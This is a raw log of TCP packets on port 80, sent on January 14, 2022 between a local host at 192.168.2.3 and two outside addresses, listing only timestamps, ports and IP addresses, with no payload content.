Jan 14, 2022 02:05:17.304124117 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304140091 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304174900 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304205894 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304225922 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304239035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304264069 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304271936 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304302931 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304335117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304357052 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304366112 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304392099 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304398060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304433107 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304465055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304485083 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304497957 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304516077 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304531097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304562092 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304594994 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304616928 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304629087 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304645061 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304661989 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304694891 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304725885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304749012 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304759026 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304786921 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.304791927 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304822922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.304892063 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.348397017 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348453999 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348493099 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348526955 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.348560095 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348599911 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348635912 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348654032 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.348695040 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348735094 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348752975 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.348777056 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.348812103 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348850965 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348887920 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348917961 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.348937035 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.348965883 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.348992109 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349030018 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349070072 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349088907 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349128962 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349164963 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349204063 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349239111 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349250078 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349273920 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349314928 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349353075 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349390030 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349407911 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349432945 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349466085 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349505901 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349545956 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349561930 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349601984 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349637985 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349653006 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349692106 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349730968 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349749088 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349787951 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349824905 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349884033 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.349911928 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349951029 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.349993944 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350003958 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.350043058 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350081921 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350100994 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.350141048 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350157022 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.350195885 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350233078 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350248098 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.350286961 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.350336075 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.367693901 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.367856979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.367944956 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368130922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368292093 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368333101 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368370056 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368390083 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368408918 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368416071 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368448019 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368484974 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368522882 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368534088 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368560076 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368571997 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368598938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368638039 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368675947 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368691921 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368715048 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368729115 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368753910 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368791103 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368829966 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368844986 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368869066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368879080 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.368923903 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368963003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.368999004 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369013071 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369038105 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369046926 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369080067 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369118929 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369158030 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369174004 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369195938 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369209051 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369231939 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369271040 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369308949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369321108 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369349003 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369355917 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369389057 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369426012 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369463921 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369476080 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369503021 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369509935 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369540930 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369577885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369616032 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369632959 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369653940 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369668007 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369693995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369730949 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369770050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369782925 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369808912 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369817019 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369844913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369914055 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369954109 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.369967937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.369992018 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.370003939 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.370031118 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.370070934 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.370109081 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.370126963 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.370147943 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.370163918 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.375400066 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.375834942 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376295090 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376338005 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376377106 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376414061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376430035 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376454115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376466990 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376493931 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376530886 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376569033 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376584053 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376607895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376621008 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376645088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376683950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376720905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376740932 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376760960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376768112 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376801014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376837969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376877069 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376888037 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376916885 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376929045 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.376954079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.376991987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377031088 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377044916 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377069950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377084017 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377110958 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377147913 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377186060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377197027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377224922 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377234936 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377262115 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377300024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377337933 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377361059 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377377987 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377418995 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377453089 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377455950 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377463102 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377495050 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377532959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377540112 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377569914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377608061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377644062 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377660990 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377684116 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377695084 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377723932 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377760887 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377800941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377811909 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377840042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377856970 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.377907991 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377948046 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.377988100 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378000975 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378031969 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378036976 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378103971 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378148079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378186941 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378201008 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378223896 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378235102 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378262043 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378302097 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378340006 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378354073 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378380060 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378391027 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378417015 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378454924 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378494024 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378505945 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378530979 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378535032 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378570080 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378607035 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378645897 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378658056 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378686905 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378700018 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378724098 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378762960 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378802061 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378813028 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378839016 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378850937 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378878117 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378916025 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378956079 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.378969908 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.378995895 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.379008055 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.379034042 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.379071951 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.379112959 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.379123926 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.379149914 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.379163980 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.379189014 CET	80	49879	141.8.194.74	192.168.2.3
Jan 14, 2022 02:05:17.380729914 CET	49879	80	192.168.2.3	141.8.194.74
Jan 14, 2022 02:05:17.401062012 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401254892 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401303053 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401340961 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401360035 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401391029 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401427031 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401467085 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401508093 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401524067 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401565075 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401602983 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401621103 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401659966 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401698112 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401743889 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401753902 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401794910 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401830912 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401868105 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401879072 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.401942968 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.401983023 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402019978 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402036905 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402076006 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402115107 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402152061 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402168989 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402208090 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402254105 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402266026 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402297974 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402324915 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402364016 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402410030 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402422905 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402462959 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402501106 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402519941 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402556896 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402595997 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402640104 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402650118 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402689934 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402726889 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402744055 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402776003 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402800083 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402837992 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402875900 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402893066 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.402931929 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402967930 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.402983904 CET	49884	80	192.168.2.3	93.189.42.167
Jan 14, 2022 02:05:17.403023005 CET	80	49884	93.189.42.167	192.168.2.3
Jan 14, 2022 02:05:17.403062105 CET	80	49884	93.189.42.167	192.168.2.3
